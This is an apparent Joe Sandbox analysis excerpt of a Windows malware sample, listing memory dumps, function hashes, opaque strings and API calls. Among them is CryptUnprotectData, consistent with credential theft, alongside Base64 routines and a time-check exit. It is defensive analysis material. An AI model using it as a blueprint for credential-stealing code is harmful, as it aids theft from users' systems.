Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID:
String ID: =^'$@ _7$C"m$C"m$E/[{$T5vm$`[?$ue:$T%(
API String ID: 0-3253897051
Opcode ID: f8112cb278f8f7e5c5e562c64f086ec77e491b6fc7483308412933f528029e61
Instruction ID: afc2ad37fecb83be39b0674fec2cd0551516dbeaaef079598f4bf376b134fe72
Opcode Fuzzy Hash: f8112cb278f8f7e5c5e562c64f086ec77e491b6fc7483308412933f528029e61
Instruction Fuzzy Hash: B4B258F3A0C2049FE704BE2DEC8567ABBE5EF94320F1A453DEAC5C7744EA3558058692

Function 00EBF113 Relevance: 11.6, Strings: 8, Instructions: 1583COMMON

Download Yara Rule

Strings

}S?=, xrefs: 00EBF5CF
Kk\, xrefs: 00EBFDE3
Ts0%, xrefs: 00EBFE1D
32gk, xrefs: 00EBFE4B
p4?{, xrefs: 00EBFB55
t53, xrefs: 00EBFA19
f:/, xrefs: 00EBF7FB
"zc9, xrefs: 00EBF815

Memory Dump Source

Source File: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID:
String ID: "zc9$32gk$Kk\$Ts0%$f:/$p4?{$t53$}S?=
API String ID: 0-1415565456
Opcode ID: 3a9e54a70de7e97209e96369b5049a1584e65d92c9a677603de837a4cf3b39ea
Instruction ID: b730b617f50884abfbfcc28058c084c26a797a014e83ba35dbfa89d62b4126a2
Opcode Fuzzy Hash: 3a9e54a70de7e97209e96369b5049a1584e65d92c9a677603de837a4cf3b39ea
Instruction Fuzzy Hash: 8BB206F3A082049FE3046E2DEC8567AFBE9EF94720F1A493DEAC4C3744E67558058697

Function 00EC0BF0 Relevance: 10.3, Strings: 7, Instructions: 1555COMMON

Download Yara Rule

Strings

1lO<, xrefs: 00EC0DF7
H=]?, xrefs: 00EC1473
0G>{, xrefs: 00EC1631
")i#, xrefs: 00EC1AC5
e u{, xrefs: 00EC154C
5~d, xrefs: 00EC0E70
WP], xrefs: 00EC0F2A

Memory Dump Source

Source File: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID:
String ID: ")i#$0G>{$1lO<$5~d$H=]?$WP]$e u{
API String ID: 0-2199156838
Opcode ID: f9a0f02adca7f99fb59967afae3a325bab8f21472467c808e25bf4b0496dd5e6
Instruction ID: 6af245ba11ee77c7dbb4c165e09d30a92a7aee7c5ded0983075aa03994dc333d
Opcode Fuzzy Hash: f9a0f02adca7f99fb59967afae3a325bab8f21472467c808e25bf4b0496dd5e6
Instruction Fuzzy Hash: 49A207F360C2049FE304AE2DEC85A7ABBE5EF94720F16493DE6C4C7744EA3598058697

Function 00B263C0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00B2640C
sscanf.NTDLL ref: 00B26439
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00B26452
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00B26460
ExitProcess.KERNEL32 ref: 00B2647A

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: c4bb346ddd08efa5acced107891a4e0c69de15204a810cff46a429708879dc4e
Instruction ID: 0b67a4f8b6cc946f1f4d12dc8843f607df120cbb412b10c3f7f914a6cf4be025
Opcode Fuzzy Hash: c4bb346ddd08efa5acced107891a4e0c69de15204a810cff46a429708879dc4e
Instruction Fuzzy Hash: B921EDB5D102189BCF08EFE4E8459EEB7B9BF48300F04856AE41AF3250EB349604CB69

Function 00B17280 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00B1728D
RtlAllocateHeap.NTDLL(00000000), ref: 00B17294
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00B172C1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00B172E4
LocalFree.KERNEL32(?), ref: 00B172EE

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 5fa047d74c709b68a0c58e789e8e60afaa921427055d380097fff5815cf84530
Instruction ID: 0c6b1b5cda89aebb2db32355bd8c66abe6d780599c5985f169375497c6335227
Opcode Fuzzy Hash: 5fa047d74c709b68a0c58e789e8e60afaa921427055d380097fff5815cf84530
Instruction Fuzzy Hash: 5001C075A44308BBDB14DB94DD46F9D7779AB44B04F104154FB05EB2C0DAB0AA019BA5

Function 00ECAAFF Relevance: 6.6, Strings: 4, Instructions: 1601COMMON

Download Yara Rule

Strings

{, xrefs: 00ECB2CA
51=~, xrefs: 00ECAC71
5(/>, xrefs: 00ECB767
1~g, xrefs: 00ECBD25

Memory Dump Source

Source File: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID:
String ID: {$5(/>$51=~$1~g
API String ID: 0-791327622
Opcode ID: 4f17186cd1e458479c414041318fc1a7ee057273848fcf8c92b4b40278cbadf1
Instruction ID: b91288358ada34ce57f7f6b1c8b2398b8a975e6c882fd9ef08950e2eb648090e
Opcode Fuzzy Hash: 4f17186cd1e458479c414041318fc1a7ee057273848fcf8c92b4b40278cbadf1
Instruction Fuzzy Hash: 1CB2F7F3A0C2009FE304AE2DEC8567AFBE9EBD4720F16853DEAC4C7744E67558058696

Function 00EBBAEB Relevance: 6.6, Strings: 4, Instructions: 1594COMMON

Download Yara Rule

Strings

wW, xrefs: 00EBCDB8
*7o, xrefs: 00EBCBA7
Wwu, xrefs: 00EBBF9E
6#Sr, xrefs: 00EBC6F5

Memory Dump Source

Source File: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID:
String ID: *7o$6#Sr$wW$Wwu
API String ID: 0-1262262505
Opcode ID: 9a61e4fc5e5b82b969ba70a1e80c6d24d527f043c6bdde7decae75f03b4b8c4e
Instruction ID: 566c75a01329204363f1daa38c5549b8bca123f43f023e9b7b244a09f0a3b686
Opcode Fuzzy Hash: 9a61e4fc5e5b82b969ba70a1e80c6d24d527f043c6bdde7decae75f03b4b8c4e
Instruction Fuzzy Hash: 76B218F360C2049FE3046E2DEC8567ABBE9EFD4720F1A8A3DE6C4C7744E63558058696

Function 00B28940 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00B151D4,40000001,00000000,00000000), ref: 00B28960

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 9d790544693c251226553c4538fcc951f214e409965eb99346aab2131cd37e54
Instruction ID: a9927f6c211494001262a460f3bc70a73ebb0fe7592efab07a8b2e40248b6d13
Opcode Fuzzy Hash: 9d790544693c251226553c4538fcc951f214e409965eb99346aab2131cd37e54
Instruction Fuzzy Hash: 5F11F575211209AFDB04CF54E884BBA37A9AF89714F10A588F9198B250DB71E881CB61

Function 00B19B10 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B14F3E,00000000,00000000), ref: 00B19B3F
LocalAlloc.KERNEL32(00000040,?,?,?,00B14F3E,00000000,?), ref: 00B19B51
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B14F3E,00000000,00000000), ref: 00B19B7A
LocalFree.KERNEL32(?,?,?,?,00B14F3E,00000000,?), ref: 00B19B8F

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 7db53989f92efa5d2aded36621bc9367e908d902a20df81d513a0c7ed9f1babd
Instruction ID: 62cca7adda7c2d5e558f089c2d1663d97a4a88c5c15d87cd2ae3050ba2b1ba1e
Opcode Fuzzy Hash: 7db53989f92efa5d2aded36621bc9367e908d902a20df81d513a0c7ed9f1babd
Instruction Fuzzy Hash: C211A4B4640308EFEB14CF54DC95FAA77B5EB89B10F208498F9199B390C771A941CB60

Function 00EB84C8 Relevance: 4.1, Strings: 2, Instructions: 1578COMMON

Download Yara Rule

Strings

<[/, xrefs: 00EB8D5C
?-, xrefs: 00EB86F2

Memory Dump Source

Source File: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
